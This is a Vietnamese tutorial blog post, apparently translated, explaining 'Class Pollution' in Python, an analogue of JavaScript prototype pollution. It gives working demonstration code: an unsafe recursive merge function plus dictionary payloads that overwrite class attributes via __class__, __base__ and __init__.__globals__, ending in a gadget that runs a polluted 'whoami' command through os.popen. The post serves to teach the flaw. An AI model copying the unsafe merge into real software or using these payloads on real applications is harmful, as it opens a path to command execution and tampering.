+17

Bạn đã biết về lỗ hổng Class Pollution trong Python hay chưa (P1)?

Chúc mọi người một năm mới đạt được tất cả dự định của mình, gia đình vui vẻ, hạnh phúc. Chúc mừng năm mới !!!

Mở đầu

Prototype Pollution là một trong những lỗ hổng dành riêng cho ngôn ngữ lập trình nhất định vì nó chỉ ảnh hưởng đến các ngôn ngữ lập trình dựa trên Prototype. Để hiểu rõ hơn thì theo Prototype-based programming - MDN Web Docs Glossary: Definitions of Web-related terms | MDN (mozilla.org) lập trình dựa trên Prototype là một phong cách lập trình hướng đối tượng trong đó các lớp không được xác định rõ ràng, mà được dẫn xuất bằng cách thêm các thuộc tính và phương thức vào một đối tượng trống. Nói một cách đơn giản: loại phong cách này cho phép tạo một đối tượng mà không cần xác định lớp của nó trước.

Mặc dù JavaScript không phải là ngôn ngữ lập trình duy nhất dựa trên Prototype, nhưng JavaScript là một trong những ngôn ngữ lập trình phổ biến nhất trong số đó, do đó bạn sẽ thấy rằng tất cả các tài liệu đều nói về Prototype Pollution trong JavaScript. Có thể có Prototype Pollution trong các ngôn ngữ dựa trên Prototype khác, tuy nhiên, chúng ta không thể nói rằng một ngôn ngữ lập trình dễ bị tổn thương chỉ vì nó sử dụng Prototype.

Dig Deeper into Prototype Pollution in Python

image.png Hãy bắt đầu bằng cách giải thích Prototype nghĩa là gì và tại sao nó được sử dụng. JavaScript sử dụng mô hình kế thừa dựa trên Prototype, mặc dù cái tên nghe có vẻ lạ, nhưng ý tưởng này tương tự như kế thừa dựa trên lớp thông thường với một số khác biệt.

Theo https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes Prototype là cơ chế mà các đối tượng JavaScript kế thừa các tính năng từ nhau. Mọi đối tượng đều có bộ thuộc tính tích hợp sẵn gọi là prototype. Bản thân prototype cũng là một đối tượng. Vì vậy nên prototype cũng sẽ có prototpye của riêng nó tạo nên chuỗi prototype. Chuỗi prototype sẽ kết thúc khi mà prototype của nó là null.

Khi bạn cố gắng truy cập một thuộc tính của một đối tượng: nếu không thể tìm thấy thuộc tính trong chính đối tượng đó, prototype sẽ được tìm kiếm để tìm thuộc tính đó. Nếu vẫn không thể tìm thấy thuộc tính, thì prototype của prototype sẽ được tìm kiếm, v.v. cho đến khi tìm thấy thuộc tính hoặc đến cuối chuỗi, trong trường hợp đó, undefined được trả về.

Ví dụ trong JavaScript, khi chúng ta gọi myObject.toString() thì browser sẽ thực hiện tìm kiếm như sau:

  • Tìm kiếm method toString() trong đối tượng myObject
  • Nếu không tìm thấy, tiếp tục tìm kiếm trong đối tượng Prototype của myObject.
  • Nếu tìm thấy sẽ gọi nó lên, ngược lại trả lại undefined.

Sau khi chúng ta biết Prototype là gì, hãy tìm hiểu thêm một chút về Prototype Pollution. Có rất nhiều tài liệu tuyệt vời giải thích sâu hơn về Protopye Pollution trong JavaScript, tôi khuyên bạn nên kiểm tra chúng trước khi tiếp tục đọc.

Prototype Pollution là một lỗ hổng trong đó kẻ tấn công có thể sửa đổi Object.prototype. Bởi vì gần như tất cả các đối tượng trong JavaScript đều là thể hiện của Object, nên một đối tượng điển hình kế thừa các thuộc tính (bao gồm cả các phương thức) từ Object.prototype. Việc thay đổi Object.prototype có thể dẫn đến nhiều vấn đề, thậm chí đôi khi dẫn đến việc thực thi mã từ xa.

Tính linh hoạt được cung cấp bởi một số ngôn ngữ kịch bản chẳng hạn như Python làm cho sự khác biệt giữa các mô hình kế thừa dựa trên prototype và dựa trên lớp không được chú ý trong thực tế. Do đó, chúng ta có thể sao chép ý tưởng về Protopye Pollution trong các ngôn ngữ lập trình khác, ngay cả những ngôn ngữ sử dụng kế thừa dựa trên lớp.

Chúng ta sẽ gọi lỗ hổng này là Class Pollution trong bài viết này vì chúng ta thực sự không có Prototype trong Python.

Các magic method là các method đặc biệt được gọi ngầm bởi tất cả các đối tượng trong Python trong các hoạt động khác nhau, chẳng hạn như __str__(), __eq__()__call__().

Chúng được sử dụng để xác định những gì các đối tượng của một lớp nên làm khi được sử dụng trong các câu lệnh khác nhau và với các toán tử khác nhau. Chúng ta có thể ghi đè các magic method và cung cấp triển khai của riêng ta khi định nghĩa các lớp mới.

Trong Python, chúng ta không có Prototype nhưng chúng ta có các thuộc tính đặc biệt, chẳng hạn như __class__, __doc__, v.v., mỗi thuộc tính này được sử dụng cho một mục đích cụ thể.

image.png

Trong đoạn mã sau, chúng ta đã tạo một thể hiện của lớp Employee, là một lớp trống, sau đó định nghĩa một thuộc tính và phương thức mới cho đối tượng đó. Các thuộc tính và phương thức có thể được định nghĩa trên một đối tượng cụ thể để chỉ đối tượng đó có thể truy cập được (none-static) hoặc được định nghĩa trên một lớp để tất cả các đối tượng của lớp đó có thể truy cập nó (static).

class Employee: pass # tạo mới class

  

emp = Employee()

another_emp = Employee()

  

Employee.name = 'No one' # định nghĩa thuộc tính cho class Employee

print(emp.name)

  

emp.name = 'Employee 1' # định nghĩa thuộc tính cho đối tượng (ghi đè lại thuộc tính của class)

print(emp.name)

  

emp.say_hi = lambda: 'Hi there!' # định nghĩa method cho đối tượng

print(emp.say_hi())

Employee.say_bye = lambda s: 'Bye!' # Định nghĩa method cho Employee class

print(emp.say_bye())

Employee.say_bye = lambda s: 'Bye bye!' # ghi đè method cho Employee class

print(another_emp.say_bye())

#> No one

#> Employee 1

#> Hi there!

#> Bye!

#> Bye bye!

Từ quan điểm của kẻ tấn công, chúng ta quan tâm nhiều hơn đến các thuộc tính mà chúng ta có thể ghi đè để có thể khai thác lỗ hổng này hơn là các magic method. Vì đầu vào của chúng tôi sẽ luôn được coi là dữ liệu (str, int, v.v.). Do đó, nếu chúng ta cố ghi đè bất kỳ magic method nào, điều đó sẽ dẫn đến việc ứng dụng bị treo khi cố gọi phương thức đó, vì dữ liệu như string không thể được thực thi. Ví dụ: cố gắng gọi phương thức __str__() sau khi đặt giá trị của nó thành một chuỗi sẽ gây ra lỗi như TypeError: 'str' object is not callable.

Bây giờ, hãy thử ghi đè lên một trong những thuộc tính quan trọng nhất của bất kỳ đối tượng nào trong Python, đó là __class__, thuộc tính trỏ đến lớp mà đối tượng là một thể hiện của nó. Trong ví dụ của chúng tôi, emp.__class__ trỏ đến lớp Employee vì nó là một thể hiện của lớp đó. Bạn có thể coi <instance>.__class__ trong Python là<instance>.constructor trong JavaScript.

Vì vậy, hãy thử đặt thuộc tính __class__ của đối tượng emp thành một chuỗi chẳng hạn và xem điều gì sẽ xảy ra.

class Employee: pass # Creating an empty class

emp = Employee()

emp.__class__ = 'Polluted'

#> Traceback (most recent call last):

#> File "<stdin>", line 1, in <module>

#> TypeError: __class__ must be set to a class, not 'str' object

Mặc dù chúng ta đã gặp lỗi, nhưng lỗi này có vẻ đầy hứa hẹn! Nó cho thấy rằng __class__ phải được đặt thành một lớp khác chứ không phải một chuỗi. Điều này có nghĩa là nó đang cố ghi đè thuộc tính đặc biệt đó bằng những gì chúng ta đã cung cấp, vấn đề duy nhất là kiểu dữ liệu của giá trị mà chúng ta đang cố gắng đặt __class__ thành.

Hãy thử thiết lập một thuộc tính khác chấp nhận chuỗi, thuộc tính __qualname__ bên trong __class__ có thể phù hợp để thử nghiệm. __class__.__qualname__ là một thuộc tính chứa tên lớp và được sử dụng trong triển khai mặc định phương thức __str__() của lớp để hiển thị tên lớp.

class Employee: pass # Creating an empty class

emp = Employee()

emp.__class__.__qualname__ = 'Polluted'

print(emp)

print(Employee)

#> <__main__.Polluted object at 0x0000024765C48250>

#> <class '__main__.Polluted'>

Như được hiển thị ở trên, chúng ta có thể pollute lớp và đặt thuộc tính __qualname__ thành một chuỗi tùy ý. Hãy nhớ rằng khi chúng ta đặt __class__.__qualname__ trên một đối tượng của một lớp, thuộc tính __qualname__ của lớp đó (trong trường hợp của chúng ta là Employee) đã bị thay đổi, điều này là do __class__ trỏ đến lớp của đối tượng đó và bất kỳ sửa đổi nào trên nó thực sự sẽ được áp dụng cho lớp như chúng ta đã đề cập trước đây.

Để xem lỗ hổng bảo mật có thể tồn tại như thế nào trong các ứng dụng Python thực, chúng ta sẽ xem xét chức năng hợp nhất đệ quy.

Hàm hợp nhất đệ quy có thể tồn tại theo nhiều cách và cách triển khai khác nhau và có thể được sử dụng để hoàn thành các tác vụ khác nhau, chẳng hạn như hợp nhất hai hoặc nhiều đối tượng, sử dụng JSON để đặt thuộc tính của đối tượng, v.v. Hàm chúng ta cần quan tâm là một hàm nhận đầu vào mà chúng ta có thể kiểm soát và sử dụng nó để đặt các thuộc tính của một đối tượng theo cách đệ quy.

Tuy nhiên, việc tìm kiếm một hàm như vậy là đủ để khai thác lỗ hổng, tuy nhiên, nếu chúng ta may mắn tìm thấy một hàm hợp nhất không chỉ cho phép chúng ta duyệt đệ quy và đặt thuộc tính (__getattr____setattr__) của một đối tượng mà còn cho phép chúng ta duyệt đệ quy và thiết lập items (thông qua __getitem____setitem__), điều này giúp bạn dễ dàng tìm thấy các gadget tuyệt vời để tận dụng.

Mặt khác, một chức năng hợp nhất sử dụng đầu vào mà chúng ta kiểm soát để đặt đệ quy các item của dictionary thông qua __getitem____setitem__ sẽ không thể khai thác được vì chúng ta sẽ không thể truy cập các thuộc tính đặc biệt như __class__, __base__, v.v.

Trong đoạn mã sau, chúng ta có một hàm hợp nhất lấy một thể hiện emp của lớp Employee trống và thông tin của nhân viên emp_info là một dictionary (tương tự như JSON) mà chúng ta có thể kiểm soát. Hàm hợp nhất sẽ đọc các key và value từ dictionary emp_info và đặt chúng trên đối tượng đã cho emp. Cuối cùng, những gì trước đây là một dối tượng rỗng sẽ có các thuộc tính và item mà chúng ta đã đưa ra trong dictionary.

class Employee: pass # tạo mới class rỗng

def merge(src, dst):

    # Recursive merge function

    for k, v in src.items(): # lấy ra key và value từ dictionary

        # print(k,v)

        if hasattr(dst, '__getitem__'): # nếu dst là một dictionary

            if dst.get(k) and type(v) == dict: # nếu value của key là một dictionary thì thực hiện đệ quy

                merge(v, dst.get(k))

            else:

                dst[k] = v #thêm value vào dictionary dst

        elif hasattr(dst, k) and type(v) == dict: # nếu dst có thuộc tính tên là key

            merge(v, getattr(dst, k)) # thực hiện đệ quy truyền value v vào thuộc tính k của dst

        else:

            setattr(dst, k, v) # thực hiện set value cho thuộc tính k của dst

emp_info = {

    "name":"Ahemd",

    "age": 23,

    "manager":{

        "name":"Sarah"

        }

    }

emp = Employee()

print(vars(emp))

merge(emp_info, emp)

print(vars(emp))

print(f'Name: {emp.name}, age: {emp.age}, manager name: {emp.manager.get("name")}')

#> {}
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> Name: Ahemd, age: 23, manager name: Sarah

Bây giờ, hãy thử pollute một số thuộc tính đặc biệt! Chúng ta sẽ cập nhật emp_info để thử đặt thuộc tính __qualname__ của lớp Employee thông qua emp.__class__.__qualname__ như chúng ta đã làm trước đây, nhưng lần này sử dụng chức năng hợp nhất.

class Employee: pass # Tạo mới class

def merge(src, dst):

    # Recursive merge function

    for k, v in src.items():

        if hasattr(dst, '__getitem__'):

            if dst.get(k) and type(v) == dict:

                merge(v, dst.get(k))

            else:

                dst[k] = v

        elif hasattr(dst, k) and type(v) == dict:

            merge(v, getattr(dst, k))

        else:

            setattr(dst, k, v)

emp_info = {

    "name":"Ahemd",

    "age": 23,

    "manager":{

            "name":"Sarah"

        },

    "__class__":{

            "__qualname__":"Polluted"

        }

    }

emp = Employee()

merge(emp_info, emp)

print(vars(emp))

print(emp)

print(emp.__class__.__qualname__)

print(Employee)

print(Employee.__qualname__)

#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

#> <__main__.Polluted object at 0x000001F80B20F5D0>

#> Polluted

#> <class '__main__.Polluted'>

#> Polluted

Chúng ta có thể pollute lớp Employee mà một thể hiện của nó được chuyển đến hàm hợp nhất, nhưng nếu chúng ta cũng muốn pollute lớp cha thì sao? Đây là lúc __base__ phát huy tác dụng, __base__ là một thuộc tính khác của lớp trỏ đến lớp cha gần nhất mà nó kế thừa từ đó, vì vậy nếu có một chuỗi thừa kế, __base__ sẽ trỏ đến lớp cuối cùng mà chúng ta kế thừa. Trong ví dụ hiển thị bên dưới, hr_emp.__class__ trỏ đến lớp HR, trong khi hr_emp.__class__.__base__ trỏ đến lớp cha của lớp HR là Employee mà chúng ta sẽ pollute.

class Employee: pass # Creating an empty class

class HR(Employee): pass # Class inherits from Employee class

def merge(src, dst):

    # Recursive merge function

    for k, v in src.items():

        if hasattr(dst, '__getitem__'):

            if dst.get(k) and type(v) == dict:

                merge(v, dst.get(k))

            else:

                dst[k] = v

        if hasattr(dst, k) and type(v) == dict:

            merge(v, getattr(dst, k))

        else:

            setattr(dst, k, v)

emp_info = {

    "__class__":{

        "__base__":{

            "__qualname__":"Polluted"

            }

        }

    }

hr_emp = HR()

merge(emp_info, hr_emp)

print(HR)

print(Employee)

#> <class '__main__.HR'>

#> <class '__main__.Polluted'>

Cách tiếp cận tương tự có thể được thực hiện nếu chúng ta muốn pollute bất kỳ lớp cha nào (không phải là một trong những loại bất biến) trong chuỗi thừa kế, bằng cách xâu chuỗi __base__ với nhau, chẳng hạn như __base__.__base__, __base__.__base__.__base__, v.v.

Bây giờ bạn có thể thắc mắc tại sao chúng ta không pollute lớp Object , đó là lớp cha của tất cả các lớp ở cuối chuỗi thừa kế và việc sửa đổi bất kỳ thuộc tính nào của nó sẽ được phản ánh trên tất cả các đối tượng khác.

Nếu chúng ta cố gắng thiết lập một thuộc tính của lớp Object, chẳng hạn như object.__qualname__ = 'Polluted' chẳng hạn, chúng ta sẽ nhận được thông báo lỗi TypeError: cannot set 'qualname' attribute of immutable type 'object'.

Điều này là do một số hạn chế mà Python có, vì nó không cho phép chúng ta sửa đổi các lớp có kiểu bất biến, chẳng hạn như object, str, int, dict, v.v.

Với giới hạn này, để khai thác class pollution trong Python, chúng ta muốn tận dụng một gadget thì các thành phần phải ở trong cùng một lớp hoặc ít nhất là chia sẻ cùng một lớp cha (không phải lớp object) tại bất kỳ điểm nào trong chuỗi thừa kế.

Trong ví dụ sau, mặc dù việc hợp nhất không an toàn xảy ra trên một đối tượng của lớp Recruiter và gadget hoặc chức năng mà chúng ta quan tâm (hàm execute_command cho phép thực thi lệnh) nằm trong lớp SystemAdmin, chúng ta vẫn có thể kiểm soát nó bằng cách thiết lập thuộc tính custom_command trong lớp Employee .

Điều này có thể thực hiện được vì SystemAdminRecruiter kế thừa từ lớp Employee tại một số điểm. Bằng cách tận dụng sự hợp nhất không an toàn, chúng tôi có thể đặt thuộc tính custom_command của lớp Employee, để khi một đối tượng của lớp SystemAdmin tìm thuộc tính đó, nó sẽ được tìm thấy, vì nó được kế thừa từ lớp cha Employee.

Việc đối tượng của lớp Recruiter được tạo trước hay sau thao tác hợp nhất không quan trọng vì chúng ta đang pollute chính lớp đó, điều này cũng sẽ được phản ánh trên đối tượng hiện có và các đối tượng mới của lớp đó. Chỉ là gadget phải được gọi sau khi pollute lớp.


from os import popen

class Employee: pass # Creating an empty class

class HR(Employee): pass # Class inherits from Employee class

class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class

    def execute_command(self):

        command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'

        return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):

    # Recursive merge function

    for k, v in src.items():

        if hasattr(dst, '__getitem__'):

            if dst.get(k) and type(v) == dict:

                merge(v, dst.get(k))

            else:

                dst[k] = v

        elif hasattr(dst, k) and type(v) == dict:

            merge(v, getattr(dst, k))

        else:

            setattr(dst, k, v)

emp_info = {

    "__class__":{

        "__base__":{

            "__base__":{

                "custom_command": "whoami"

            }

        }

    }

}

recruiter_emp = Recruiter()

system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command())

merge(emp_info, recruiter_emp)

print(system_admin_emp.execute_command())

#>[!] Executing: "echo Hello there", output: "Hello there"
#>[!] Executing: "whoami", output: "xxx\le.ngoc.anh"

Cho đến bây giờ, chúng ta chỉ có thể pollute các thuộc tính của đối tượng được chuyển đến hàm hợp nhất và chỉ các lớp cha có thể thay đổi của nó, nhưng đây không phải là tất cả.

Dựa trên tài liệu Python __globals__ là “Tham chiếu đến từ điển chứa các biến toàn cục của hàm — không gian tên toàn cục của mô-đun trong đó hàm được xác định.” Nói cách khác, __globals__ là một đối tượng dictionary cho phép chúng ta truy cập các biến đã xác định, mô-đun đã nhập, v.v. Để truy cập các item của thuộc tính __globals__, hàm hợp nhất phải sử dụng __getitem__ như đã đề cập trước đó.

Thuộc tính __globals__ có thể truy cập được từ bất kỳ phương thức xác định nào của đối tượng mà chúng ta kiểm soát, chẳng hạn như __init__. Chúng ta không nhất thiết phải sử dụng __init__ cụ thể, chúng ta có thể sử dụng bất kỳ phương thức đã xác định nào của đối tượng đó để truy cập __globals__, tuy nhiên, rất có thể chúng ta sẽ tìm thấy phương thức __init__ trên mọi lớp vì đây là hàm tạo của lớp. Chúng ta không thể sử dụng các phương thức dựng sẵn được kế thừa từ lớp đối tượng, chẳng hạn như __str__ trừ khi chúng bị ghi đè. Hãy nhớ rằng <instance>.__init__, <instance>.__class__.__init__<class>.__init__ đều giống nhau và trỏ đến cùng một hàm tạo của lớp.

Vì vậy, quy tắc ở đây là nếu chúng ta có thể tìm thấy một chuỗi thuộc tính/items (dựa trên hàm hợp nhất) từ đối tượng mà chúng ta kiểm soát đến bất kỳ thuộc tính hoặc biến nào mà chúng ta muốn kiểm soát, thì chúng ta sẽ có thể để ghi đè lên nó.

Điều này giúp chúng ta linh hoạt hơn nhiều và tăng bề mặt tấn công theo cấp số nhân khi tìm kiếm các gadget để tận dụng. Chúng ta sẽ hiển thị một số ví dụ về gadget mà bạn có thể tận dụng.

Trong ví dụ sau, chúng ta sẽ tận dụng thuộc tính đặc biệt __globals__ để truy cập và thiết lập một thuộc tính của lớp NotAccessibleClass, đồng thời sửa đổi biến toàn cục not_accessible_variable. NotAccessibleClassnot_accessible_variable sẽ không thể truy cập được nếu không có __globals__ vì lớp này không phải là lớp cha của đối tượng mà chúng ta kiểm soát và biến không phải là thuộc tính của lớp mà chúng ta kiểm soát. Tuy nhiên, vì chúng ta có thể tìm thấy một chuỗi các thuộc tính/items để truy cập nó từ đối tượng mà chúng ta có, nên chúng ta có thể làm pollute NotAccessibleClassnot_accessible_variable.

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class User:
    def __init__(self):
        pass

class NotAccessibleClass: pass
not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable)
print(NotAccessibleClass)

#> Polluted variable
#> <class '__main__.PollutedClass'>

Kết

Đến đây các bạn đã có hiểu biết về loại lỗ hổng Class Pollution trong python này rồi. Trong phần tiếp theo của bài viết, tôi sẽ giới thiệu với các bạn một số case thực tế của lỗ hổng này và một số gadget thú vị. Chúc mừng năm mới 2023!

Link bài viết gốc: https://blog.abdulrah33m.com/prototype-pollution-in-python/


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí